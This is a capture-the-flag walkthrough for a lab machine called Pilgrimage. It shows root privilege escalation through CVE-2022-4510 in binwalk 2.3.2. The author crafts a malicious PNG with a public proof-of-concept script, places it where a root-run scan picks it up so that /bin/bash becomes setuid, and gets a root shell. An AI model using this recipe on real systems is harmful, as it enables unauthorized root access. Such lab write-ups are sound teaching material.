Shell as root


Let's list the version of the binwalk binary:

emily@pilgrimage:~$ binwalk

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...

Signature Scan Options:
    -B, --signature              Scan target file(s) for common file signatures
    -R, --raw=<str>              Scan target file(s) for the specified sequence of bytes
    -A, --opcodes                Scan target file(s) for common executable opcode signatures
    -m, --magic=<file>           Specify a custom magic file to use
...................................................................................................
...................................................................................................
...................................................................................................
    -K, --block=<int>            Set file block size
    -g, --swap=<int>             Reverse every n bytes before scanning
    -f, --log=<file>             Log results to file
    -c, --csv                    Log results to file in CSV format
    -t, --term                   Format output to fit the terminal window
    -q, --quiet                  Suppress output to stdout
    -v, --verbose                Enable verbose output
    -h, --help                   Show help output
    -a, --finclude=<str>         Only scan files whose names match this regex
    -p, --fexclude=<str>         Do not scan files whose names match this regex
    -s, --status=<int>           Enable the status server on the specified port

emily@pilgrimage:~$
This script is using version 2.3.2 of binwalk. Let's search for information about vulnerabilities associated with this version.



This version appears to be vulnerable to Remote Code Execution (RCE). I copied the CVE ID (CVE-2022-4510) and conducted research on this vulnerability.

Here is an article from the NVD about this vulnerability:

A path traversal vulnerability was identified in ReFirm Labs binwalk from version 2.1.2b through 2.3.3 included. By crafting a malicious PFS filesystem file, an attacker can get binwalk's PFS extractor to extract files at arbitrary locations when binwalk is run in extraction mode (-e option). Remote code execution can be achieved by building a PFS filesystem that, upon extraction, would extract a malicious binwalk module into the folder .config/binwalk/plugins. This vulnerability is associated with program files src/binwalk/plugins/unpfs.py. This issue affects binwalk from 2.1.2b through 2.3.3 included.

In other words, this vulnerability allows an attacker to manipulate a certain type of filesystem file, potentially leading to unauthorized extraction of files when binwalk is used in extraction mode (-e option). If an attacker successfully exploits this flaw, they could execute code remotely.

After searching for information on the internet, I found a PoC for exploiting this vulnerability.

This exploit generates a malicious .png file which will allow us to execute commands as root, since root is executing binwalk.

To exploit this vulnerability, we need to determine the location where the root user is applying binwalk. This information is leaked in the malwarescan.sh script, as we've already seen. Therefore, when the malicious file is created, we need to copy it to the /var/www/pilgrimage.htb/shrunk/ directory.

First, I uploaded the walkingpath.py script to the victim machine:

emily@pilgrimage:~$ python3 walkingpath.py 
usage: walkingpath.py [-h] {ssh,command,reverse} ...

positional arguments:
  {ssh,command,reverse}

optional arguments:
  -h, --help            show this help message and exit
emily@pilgrimage:~$
I also uploaded a PNG image, as it is needed to create the malicious file. Now, let's use the command module to create a malicious file. We will attempt to make the root user execute the chmod u+s /bin/bash command. If the root user successfully executes this command, the /bin/bash will become Set-UID, allowing us to use the bash -p command and gain command execution as the root user.

emily@pilgrimage:~$ python3 walkingpath.py command --command "chmod u+s /bin/bash" ./image.png
emily@pilgrimage:~$
The binwalk_exploit.png was successfully created. This image will be used in the attempt to exploit the vulnerability and gain command execution as the root user.

emily@pilgrimage:~$ ls -l
total 1016
-rw-r--r-- 1 emily emily 514272 Nov 29 06:12 binwalk_exploit.png
-rw-r--r-- 1 emily emily 513590 Nov 29 06:11 image.png
-rw-r----- 1 root  emily     33 Nov 28 22:25 user.txt
-rw-r--r-- 1 emily emily   3391 Nov 29 06:02 walkingpath.py
emily@pilgrimage:~$
Now, we need to copy the binwalk_exploit.png image to the /var/www/pilgrimage.htb/shrunk/ directory:

emily@pilgrimage:~$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/pwned.png
Finally, when listing the privileges of /bin/bash, we notice that it is Set-UID:

emily@pilgrimage:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 28  2022 /bin/bash
emily@pilgrimage:~$
Now, using bash -p, we gain access as root, and we can read the last flag:

emily@pilgrimage:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
ace35**********************2ea4a
bash-5.1#